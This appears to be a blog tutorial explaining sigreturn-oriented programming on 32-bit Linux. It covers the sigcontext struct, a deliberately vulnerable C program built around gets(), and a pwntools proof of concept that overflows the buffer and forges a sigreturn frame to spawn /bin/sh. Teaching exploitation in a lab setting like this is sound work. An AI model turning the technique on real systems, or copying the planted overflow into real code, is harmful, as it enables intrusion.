How to SROP
by adamt
Sigreturn Orientated programming (SROP) is a cool exploitation technique that allows an attacker to control the entire state of the CPU with a single syscall and some stack space, possibly leading to code execution.
How to haq
SROP is very similar to ROP, in which by controlling the stack and the instruction pointer, the attacker is able to influence the control flow of the program through a sequence of gadgets (Small sets of instructions ending in a ret
or call
instruction).
In cases where there aren’t enough gadgets, or no gadgets that allow the attacker to execute arbritrary code, SROP may be a possible solution.
SROP works by pushing a forged sigcontext
structure to the stack, and then overwriting the return address with the location of a gadget(s) that will allow the attacker to execute the sigreturn syscall.
An example sigcontext struct can be seen here from x86 Linux libc
https://github.com/lattera/glibc/blob/master/sysdeps/unix/sysv/linux/x86/bits/sigcontext.h#L95
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
An example of the kind of gadget needed for SROP exploits can always be found in the VDSO memory area on x86-Linux systems
However this can be constructed via multiple gadgets, and effectively just require setting eax to the syscall number of sysreturn, and then calling a syscall/int 0x80 instruction
pop eax
mov eax, 0x77
int 0x80;
nop
lea esi, [esi+0]
This will execute a sigreturn syscall.
Example/Actually how to do it
Here is an example of SROP in a 32 bit linux environment. Luckily pwntools
comes handy with a SROP library which allows us to construct a sigcontext for any architecture without needing to worry about the exact ordering and sizing of each element. I’ll utilise this below
Example 32bit vulnerable code
#include <stdio.h>
#include <stdlib.h>
static char* dodgy = "/bin/sh";
void func() {
__asm__( // all typical things found via a libc leak, or a large binary
"mov $0x77, %eax;"
"ret;"
"int $0x80"
);
}
void vuln() {
printf("Hey look its a cheeky gadget\n");
printf("func: %p\n", func);
printf("/bin/sh: %p\n", dodgy);
char buf[4];
gets(buf);
}
int main() {
vuln();
}
The code has the 3 requirements needed to leverage the SROP technique.
- Gadget(s) that will call the sigreturn syscall (In i386 linux this is syscall number 0x77, in amd64 linux it is )
- Enough Stack space to place an entire
sigcontext
struct - Somewhere to jump to after the syscall has been evoked
(in this case we can just jump to the syscall(int 0x80) gadget since we can ensure all registers are set to the required values to execute any syscall)
We can construct our sigreturn frame, setting the relevant registers required to execute an execve syscall, and then gain shell via a single ROP Gadget. Below is a POC
from pwn import *
def leak(p): # Leak the address of our planted
p.recvuntil("func: 0x")
func = int(p.recvline(), 16)
p.recvuntil("/bin/sh: 0x")
binsh = int(p.recvline(), 16)
log.info("Func 0x%x. /bin/sh 0x%x" % (func, binsh))
return func, binsh
def main():
context.arch = 'i386'
p = process("./srop32")
func, binsh = leak(p)
moveax = func + 13
int0x80 = func + 19
frame = SigreturnFrame(kernel='amd64') # Construct our Sig Return Frame
frame.eax = constants.SYS_execve # Syscall to call
frame.ebx = binsh # First argument to execve
frame.eip = int0x80 # Return here after the syscall
payload = 'A' * 16 # Overflow the buffer
payload += p32(moveax) # Mov 0x77 into eax (SYS_sigreturn)
payload += p32(int0x80) # Evoke the syscall
payload += str(frame) # Fill the stack with our sigreturn frame
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
main()